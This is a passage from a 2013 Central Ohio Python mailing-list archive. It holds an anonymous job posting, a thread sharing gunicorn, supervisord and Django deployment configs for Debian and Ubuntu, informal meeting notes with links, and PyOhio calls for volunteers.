the best-kept secret (for a reason) but a fast growing, profitable, and innovative "big data" solutions firm in your backyard. We are seeking a creative and motivated professional to join and support our engineering / technical teams. You'll be challenged to research, develop, test and improve world-class software solutions for our noteworthy clientele across a broad array of industry verticals. Each day is unique as are the client's needs... Sure, we need someone really smart. But equally important is finding an individual who wants to learn, demonstrates discipline and independence, and has "better than average" interpersonal skills. A sense of humor is a plus. This is a small company environment that is scaling fast but we will not compromise our collaborative, irreverent, and results-driven culture. ESSENTIAL DUTIES - Collaborating with a team to design solutions for varied, sometimes complicated data collection requests - Developing high performance and scalable software solutions - Researching data sources and new technologies - Building strong competencies in algorithms and data analysis - Reporting to the management team on progress, ideas, improvements and the occasional setbacks DESIRED EXPERIENCE & SKILLS: - 3+ years experience in software/web development (must have 2 years Python experience) - Passion for exploring new technologies - Excellent object-oriented programming skills (code samples may be requested) - Relational database experience - Basic understanding of HTML, CSS, and Javascript - Love for data, details, and accuracy - seriously, passion for this is a must! - Excellent communication skills EDUCATION: - Bachelors (or higher) degree in computer science/engineering or related field -- This electronic message is intended to be for the use only of the named recipient, and may contain information that is confidential or privileged. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution or use of the contents of this message is strictly prohibited. If you have received this message in error or are not the named recipient, please notify us immediately by contacting the sender at the electronic mail address noted above, and delete and destroy all copies of this message. Thank you. -------------- next part -------------- An HTML attachment was scrubbed... URL: From jdsantiagojr at gmail.com Thu May 23 02:32:41 2013 From: jdsantiagojr at gmail.com (John Santiago) Date: Wed, 22 May 2013 20:32:41 -0400 Subject: [CentralOH] Debian / Gunicorn Message-ID: Has anyone had any experience install gunicorn on debian. Trying to figure out the config. What is good set up for wsgi app? -- This electronic message is intended to be for the use only of the named recipient, and may contain information that is confidential or privileged. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution or use of the contents of this message is strictly prohibited. If you have received this message in error or are not the named recipient, please notify us immediately by contacting the sender at the electronic mail address noted above, and delete and destroy all copies of this message. Thank you. -------------- next part -------------- An HTML attachment was scrubbed... URL: From mjjohnson.geo at yahoo.com Thu May 23 14:52:17 2013 From: mjjohnson.geo at yahoo.com (Michael Johnson) Date: Thu, 23 May 2013 05:52:17 -0700 (PDT) Subject: [CentralOH] Debian / Gunicorn In-Reply-To: References: Message-ID: <1369313537.68186.YahooMailNeo@web164906.mail.bf1.yahoo.com> I haven't tried gunicorn, but I've used uwsgi + nginx (on Ubuntu Server 12.04) and been pretty happy with the combination. The uwsgi docs are pretty good:?http://uwsgi-docs.readthedocs.org/en/latest/index.html > -------- Original Message -------- > Subject: [CentralOH] Debian / Gunicorn > From: John Santiago > Date: Wed, 22 May 2013 20:32:41 -0400 > To: "Mailing list for Central Ohio Python User Group (COhPy)"? > > Has anyone had any experience install gunicorn on debian. Trying to figure > out the config. What is good set up for wsgi app? From blorenz at gmail.com Thu May 23 15:03:42 2013 From: blorenz at gmail.com (Brandon Lorenz) Date: Thu, 23 May 2013 09:03:42 -0400 Subject: [CentralOH] Debian / Gunicorn In-Reply-To: References: Message-ID: I run gunicorn + Django + supervisor on a few Debian boxes. My config in */etc/supervisord.conf* for the program includes: *command=python manage.py run_gunicorn -b 127.0.0.1:9985 -t 1200* *environment=PATH="/virtualenvs/pbuilder/bin"* I cheat by leveraging gunicorn's support for Django. Sorry if this doesn't help. On Wed, May 22, 2013 at 8:32 PM, John Santiago wrote: > Has anyone had any experience install gunicorn on debian. Trying to figure > out the config. What is good set up for wsgi app? > > -- > This electronic message is intended to be for the use only of the named > recipient, and may contain information that is confidential or privileged. > If you are not the intended recipient, you are hereby notified that any > disclosure, copying, distribution or use of the contents of this message is > strictly prohibited. If you have received this message in error or are not > the named recipient, please notify us immediately by contacting the sender > at the electronic mail address noted above, and delete and destroy all > copies of this message. Thank you. > > _______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From wam at cisco.com Thu May 23 15:26:11 2013 From: wam at cisco.com (William McVey) Date: Thu, 23 May 2013 09:26:11 -0400 Subject: [CentralOH] Debian / Gunicorn In-Reply-To: References: Message-ID: <1369315571.18697.74.camel@zelbinion.cisco.com> On Wed, 2013-05-22 at 20:32 -0400, John Santiago wrote: > Has anyone had any experience install gunicorn on debian. Trying to > figure out the config. What is good set up for wsgi app? I run most of my wsgi services (a combination of flask and django) through gunicorn on Ubuntu. I always install gunicorn into the virtualenv associated with my app/site, so installation is rarely more than a 'pip install gunicorn' from within the appropriate virtualenv. (Technically, I use chef to do this for me, but that's a tangent.) Similar to Brandon, I user supervisord to launch gunicorn, although I invoke it slightly different: In /etc/supervisor.d/gunicorn_MY_APP.conf command=/srv/MY_APP_NAME/venv/bin/gunicorn_django --config /srv/MY_APP_NAME/app/conf/webserver.py /srv/MY_APP_NAME/app/MY_APP_site/settings.py process_name=%(program_name)s numprocs=1 numprocs_start=0 autostart=true autorestart=true directory=/srv/bundle_analysis serverurl=AUTO user=www-data startsecs=1 startretries=3 My gunicorn config file is webserver.py with variables like: # What ports/sockets to listen on, and what options for them. bind = "0.0.0.0:8000" # The maximum number of pending connections backlog = 2048 # What the timeout for killing busy workers is, in seconds timeout = 180 # How long to wait for requests on a Keep-Alive connection, in seconds keepalive = 2 # The maxium number of requests a worker will process before restarting max_requests = 0 # Whether the app should be pre-loaded preload_app = False # How many worker processes workers = 8 # Type of worker to use worker_class = "sync" The last argument to the command is the django settings.py file which I assume you're familiar with. -- William From wam at cisco.com Thu May 23 15:32:05 2013 From: wam at cisco.com (William McVey) Date: Thu, 23 May 2013 09:32:05 -0400 Subject: [CentralOH] Debian / Gunicorn In-Reply-To: References: Message-ID: <1369315925.18697.79.camel@zelbinion.cisco.com> On Wed, 2013-05-22 at 20:32 -0400, John Santiago wrote: > Has anyone had any experience install gunicorn on debian. Trying to > figure out the config. What is good set up for wsgi app? I run most of my wsgi services (a combination of flask and django) through gunicorn on Ubuntu. I always install gunicorn into the virtualenv associated with my app/site, so installation is rarely more than a 'pip install gunicorn' from within the appropriate virtualenv. (Technically, I use chef to do this for me, but that's a tangent.) My installations generally are organized under /srv/WEBSITE_NAME/ with 'venv' housing that site's (or app's) virtualenv, an 'app' directory where I have the django site extracted (e.g. a manage.py, a 'static' hierarchy, a 'templates' dir, a 'conf' dir holding my gunicorn config file, etc. Similar to Brandon, I user supervisord to launch gunicorn, although I invoke it slightly different: In /etc/supervisor.d/gunicorn_MY_APP.conf command=/srv/MY_APP_NAME/venv/bin/gunicorn_django --config /srv/MY_APP_NAME/app/conf/webserver.py /srv/MY_APP_NAME/app/MY_APP_site/settings.py process_name=%(program_name)s numprocs=1 numprocs_start=0 autostart=true autorestart=true directory=/srv/MY_APP_NAME serverurl=AUTO user=www-data startsecs=1 startretries=3 My gunicorn config file is webserver.py with variables like: # What ports/sockets to listen on, and what options for them. bind = "0.0.0.0:8000" # The maximum number of pending connections backlog = 2048 # What the timeout for killing busy workers is, in seconds timeout = 180 # How long to wait for requests on a Keep-Alive connection, in seconds keepalive = 2 # The maxium number of requests a worker will process before restarting max_requests = 0 # Whether the app should be pre-loaded preload_app = False # How many worker processes workers = 8 # Type of worker to use worker_class = "sync" The last argument to the command is the django settings.py file which I assume you're familiar with. -- William From jdsantiagojr at gmail.com Thu May 23 20:52:56 2013 From: jdsantiagojr at gmail.com (John Santiago) Date: Thu, 23 May 2013 14:52:56 -0400 Subject: [CentralOH] Job opportunity posted on Central Ohio Python Users group In-Reply-To: References: <1369334852.18697.108.camel@zelbinion.cisco.com> Message-ID: The employer for that job posting is very confidential. It is a great and exciting opportunity, and if you want more information please use the contact email in the posting. It really is amazing what there doing with python. On Thu, May 23, 2013 at 2:52 PM, John Santiago wrote: > The employer for that job posting is very confidential. It is a great and > exciting opportunity, and if you want more information please use the > contact email in the posting. > > It really is amazing what there doing with python. > > > On Thu, May 23, 2013 at 2:47 PM, William McVey wrote: > >> Nicole, I saw the posting that John Santiago posted to >> centraloh at python.org. I am not presently looking for a job (I am pretty >> happily employed here at Cisco), but I do live in Cincinnati and am >> interested in being aware of interesting potential employers in the >> area. I have 13 years of professional Python experience, with the past >> 4-5 years being focused on "Big Data" style data management, processing, >> and analysis problems (using tools like Hadoop, HBase, Cassandra, >> MongoDB, HDF, numpy, pandas, etc). Anyway, the posting sounded >> potentially interesting to me if my current situation were to change. >> One piece of information I didn't see in the posting was who the >> employer is and what kinds of work they are doing (it sounded like >> contract work, but it wasn't clear). >> >> -- William >> >> > > > -- > This electronic message is intended to be for the use only of the named > recipient, and may contain information that is confidential or privileged. > If you are not the intended recipient, you are hereby notified that any > disclosure, copying, distribution or use of the contents of this message is > strictly prohibited. If you have received this message in error or are not > the named recipient, please notify us immediately by contacting the sender > at the electronic mail address noted above, and delete and destroy all > copies of this message. Thank you. > -- This electronic message is intended to be for the use only of the named recipient, and may contain information that is confidential or privileged. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution or use of the contents of this message is strictly prohibited. If you have received this message in error or are not the named recipient, please notify us immediately by contacting the sender at the electronic mail address noted above, and delete and destroy all copies of this message. Thank you. -------------- next part -------------- An HTML attachment was scrubbed... URL: From jep200404 at columbus.rr.com Fri May 24 16:33:36 2013 From: jep200404 at columbus.rr.com (jep200404 at columbus.rr.com) Date: Fri, 24 May 2013 10:33:36 -0400 Subject: [CentralOH] =?utf-8?q?2013-05-23_=E9=81=93=E5=A0=B4_Scribbles_?= =?utf-8?b?76SY5pu4L+aDoeaWhz8=?= Message-ID: <20130524103336.057bc4ff.jep200404@columbus.rr.com> http://zedshaw.com/ http://en.wikipedia.org/wiki/Zed_Shaw without the afro, it looks like Zed Shaw http://cli.learncodethehardway.org/ https://en.wikipedia.org/wiki/The_unix_philosophy GirlIT wed hack night guy cooked veggie indian, two meats, something else xkcd style $ has two vertical lines http://xkcd.com/838/ USB Logitech keyboard P/N: 820-001268 It was thin. Had crummy elasomer dome feel, but layout and feel are far superior to even crummier netbook and laptop keyboards. He needs to lay hands on "mechanical" keyboards. What was web site for typing test? docker.io runs on x64 machines (hinting that it doesn't run on 32-bit boxen) pcre The first web browser was "WorldWideWeb" not Mosaic. NeXTSTEP STFW RTFM The Notebook (film) http://www.catb.org/esr/writings/ http://www.catb.org/esr/writings/cathedral-bazaar/ http://xkcd.com/552/ fooled by randomness black swan Nassim Nicholas Taleb anything by Michael Lewis liar's poker Moneyball The Big Short history major Meredith Whitney Warren Buffett and the Interpretation of Financial Statements, by Mary Buffett and David Clark When Genius Failed the rise and fall of LTCM by Lowenstein Buffet by Lowenstein Netscape poster, The New New Thing http://www.8325.org/haiku/ http://en.wikipedia.org/wiki/Shor's_algorithm http://www.catb.org/esr/writings/prudential.html http://en.wikipedia.org/wiki/Pollard's_rho_algorithm Neck beard before UNIX: http://en.wikipedia.org/wiki/File:Hidetsugu_Yagi.jpg Translate into Chinese: http://en.wikipedia.org/wiki/Hidetsugu_Yagi Friday tech lunch at 1236 E Hudson From matt at tplus1.com Wed May 29 19:40:36 2013 From: matt at tplus1.com (W. Matthew Wilson) Date: Wed, 29 May 2013 13:40:36 -0400 Subject: [CentralOH] Looking for volunteers to review PyOhio talk proposals Message-ID: Hi -- We have gotten some great talk and tutorial proposals for PyOhio 2013. I want help reviewing them and rating them. If you have some time, make an account on pyohio.org and then email me and I'll bump your account up to the status where you can see the proposals. Don't worry about not being qualified -- that's completely backwards. Talk proposals should be evaluated for the median audience member, not super duper experts or absolute beginners. So get involved. Viva PyOhio! Matt -- W. Matthew Wilson matt at tplus1.com http://tplus1.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From jdsantiagojr at gmail.com Thu May 30 19:10:40 2013 From: jdsantiagojr at gmail.com (John Santiago) Date: Thu, 30 May 2013 13:10:40 -0400 Subject: [CentralOH] Volunteer Question Message-ID: Are you guys still looking for volunteers for the adult and youth classes? And also for contributing to doing a tutorial..... Who do I need to talk to, or where do I need to go? -- This electronic message is intended to be for the use only of the named recipient, and may contain information that is confidential or privileged. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution or use of the contents of this message is strictly prohibited. If you have received this message in error or are not the named recipient, please notify us immediately by contacting the sender at the electronic mail address noted above, and delete and destroy all copies of this message. Thank you. -------------- next part -------------- An HTML attachment was scrubbed... URL: From brian.costlow at gmail.com Thu May 30 20:09:55 2013 From: brian.costlow at gmail.com (Brian Costlow) Date: Thu, 30 May 2013 14:09:55 -0400 Subject: [CentralOH] Volunteer Question In-Reply-To: References: Message-ID: Hi John, We have you down as someone to contact when we start organizing the youth class volunteers. We are not ready to do that yet. Adult classes the week before the show are not run by us directly. You can contact the folks at http://trizpug.org/boot-camp to see if they want/need some help. There is no volunteer list for 'contributing' to doing a tutorial. Tutorials are not organized directly by the conference volunteers; people propose to do them. If you want to run one (either yourself, or with a group you organize) you need to propose the tutorial, more info is here: http://pyohio.org/call-for-proposals/ If you want to help someone else give a tutorial, you'll need to wait for the list of accepted tutorials to come out, which should be around mid-June, and contact the speaker/tutor and ask if they want help. Other volunteer opportunities will be available, but we haven't set up the contact page for that yet. We'll announce it here when we do. --Brian On Thu, May 30, 2013 at 1:10 PM, John Santiago wrote: > Are you guys still looking for volunteers for the adult and youth classes? > And also for contributing to doing a tutorial..... > > Who do I need to talk to, or where do I need to go? > > -- > This electronic message is intended to be for the use only of the named > recipient, and may contain information that is confidential or privileged. > If you are not the intended recipient, you are hereby notified that any > disclosure, copying, distribution or use of the contents of this message is > strictly prohibited. If you have received this message in error or are not > the named recipient, please notify us immediately by contacting the sender > at the electronic mail address noted above, and delete and destroy all > copies of this message. Thank you. > > _______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh > > -------------- next part -------------- An HTML attachment was scrubbed... URL: